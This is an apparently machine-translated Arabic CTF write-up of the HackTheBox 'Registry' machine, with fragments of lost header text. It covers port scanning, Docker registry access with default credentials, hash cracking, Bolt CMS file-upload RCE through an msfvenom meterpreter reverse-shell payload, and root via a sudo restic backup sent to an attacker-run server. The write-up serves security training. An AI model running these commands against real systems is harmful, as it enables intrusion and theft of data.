أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، سنتناول نظام إرساء السفن ، ونشغل RCE في CMS Bolt ، ونزيد الامتيازات باستخدام برنامج النسخ الاحتياطي Restic.يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
ريكون
يحتوي هذا الجهاز على عنوان IP 10.10.10.159 ، والذي أضيفه إلى / etc / hosts.10.10.10.159 registry.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
الآن ، لمزيد من المعلومات التفصيلية حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.nmap -A registry.htb -p22,80,443
لدى المضيف 3 منافذ مفتوحة ، في حين أن الشهادة (المنفذ 443) هي docker.registry.htb. أضفه إلى / etc / hosts أيضًا.10.10.10.159 docker.registry.htb
عندما كنت أنتقل إلى registry.htb، نحن في استقبال إنجن إكس موجه، و docker.registry.htb، ونحن نرى صفحة فارغة.دعونا نكرر على الدلائل باستخدام gobuster. في المعلمات نشير إلى عدد التدفقات 128 (-t) وعنوان URL (-u) والقاموس (-w) والإضافات التي تهمنا (-x).gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
لا يعطينا Backup.php أي شيء ، في bolt يوجد موقع به CMS Bolt ، وفي التثبيت هناك بعض الملفات ، قم بتنزيله.wget http://registry.htb/install/ -O ind
ونكتشف أي نوع من الملفات هو.
يمكننا قراءة "البيانات المضغوطة بتنسيق gzip" على الفور.
بهذه الطريقة نحصل على الشهادة ، وروابط لوثائق مرجعية لواصفة الميناء.في حالة نطاق آخر ، أضف الخيار -k لتخطي التحقق من الشهادة.gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
الآن دعنا ننتقل إلى دليل v2 ، وقابلنا المصادقة.
وأبسط إدارة مزيج: المشرف يمنحنا الوصول. يقوم المضيف بتشغيل سجل عامل الميناء ، لذلك ، على النحو التالي من الشرح التالي ، دعنا نلقي نظرة على مستودعاته على العنوان التالي: docker.registry.htb / v2 / _catalog .
ونجد مستودع واحد.
دعنا نثبت عامل الميناء وننتقل إلى وثائق تثبيت الشهادة.
انتقل إلى دليل / etc / docker وأضف الشهادة من الأرشيف.sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
الآن قم بتسجيل الدخول إلى عامل الميناء.
الآن قم بتحميل الصورة.sudo docker pull docker.registry.htb:443/bolt-image:latest
وتشغيله.sudo docker run -it docker.registry.htb:443/bolt-image:latest
وأول شيء ننظر إليه هو SSH. لحسن الحظ ، هناك مفتاح ، بالإضافة إلى تكوين ، يتضح منه أن مستخدمنا مغلق.
ولكن الشيء هو أن المفتاح مشفر. هذا يعني أنه عند الاتصال ، سيطلبون كلمة مرور. والنتيجة هي البحث في الملفات عن السلسلة "تمرير".grep -i -r "pass" ./etc/
يطلب هذا البرنامج النصي كلمة مرور لفك تشفير المفتاح. والجواب فيه.
تواصل عبر ssh بمفتاحنا.
كان هناك ملف backup.php على المضيف ، فلنلقِ نظرة على محتوياته.
هذه هي الطريقة التي يتم بها استخدام sudo ، وعلى ما يبدو بدون كلمة مرور. لكن الترباس يتطلب كلمة مرور.
هذا يعني أننا بحاجة للحصول على مستخدم الخدمة. نظرًا لاستخدام CMS Bolt ، يمكننا الوصول إلى قاعدة بيانات sqlite. تنزيله.scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
لنبدأ العمل مع قاعدة البيانات.sqlite3 bolt.db
دعنا نرى الجداول.
واحصل على الإدخالات من جدول bolt_users.
لذلك لدينا تجزئة المشرف. كرر الأمر باستخدام JTR.
الآن قم بتسجيل الدخول إلى Bolt كمسؤول. ونلاحظ الإصدار 3.6.4.
هناك مآثر لهذا الإصدار.
تتمثل الثغرة الأمنية في أننا يمكن أن نضيف إلى تهيئة امتداد الملف الذي نحتاج إلى تنزيله ، ثم تحميل الملف. لنقم بإنشاء ملف php مع تحميل (سأقول مقدمًا أنه ببساطة لم يعمل للاتصال مرة أخرى لذا تم إعادة توجيه منفذ 4321 :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
.msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
وقم بتشغيل المستمع.
دعنا نذهب من خلال التكوين -> التكوين الرئيسي وإضافة امتداد php لتتمكن من تنزيل الملف.
بعد ذلك ، انتقل إلى إدارة الملفات -> تحميل الملفات وإضافة الملف. بعد الوصول إليه ، سنرى الاتصال.
قم بإطلاق باش شيل ، ونلاحظ أيضًا أننا نعمل نيابة عن مستخدم الخدمة.
دعونا نتحقق من sudo ، لاحظ أنه يمكن تشغيل الأمر من backup.php تحت sudo بدون كلمة مرور.
Restic هو برنامج نسخ احتياطي مكتوب بلغة Golang. نظرًا لأنه يمكننا عمل نسخة احتياطية تحت sudo ، يمكننا نسخ الدليل الجذر بالكامل. أولاً ، دعنا نذهب عبر منفذ 8000.ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
تثبيت وتشغيل بقية خادم (على 8000 وظيفة بدون مصادقة).
دعونا الاتصال وتهيئة النسخ الاحتياطي (Rest1).
الآن قم بعمل نسخة احتياطية من الدليل الجذر.
تم حفظ النسخة الاحتياطية على الجهاز المحلي. دعونا نرى جميع الملفات المحفوظة. ابحث عن مفتاح SSH.restic -r /tmp/restic/restr1/ ls latest
استعدها.
الاتصال
لدينا حق الوصول الكامل إلى النظام.يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.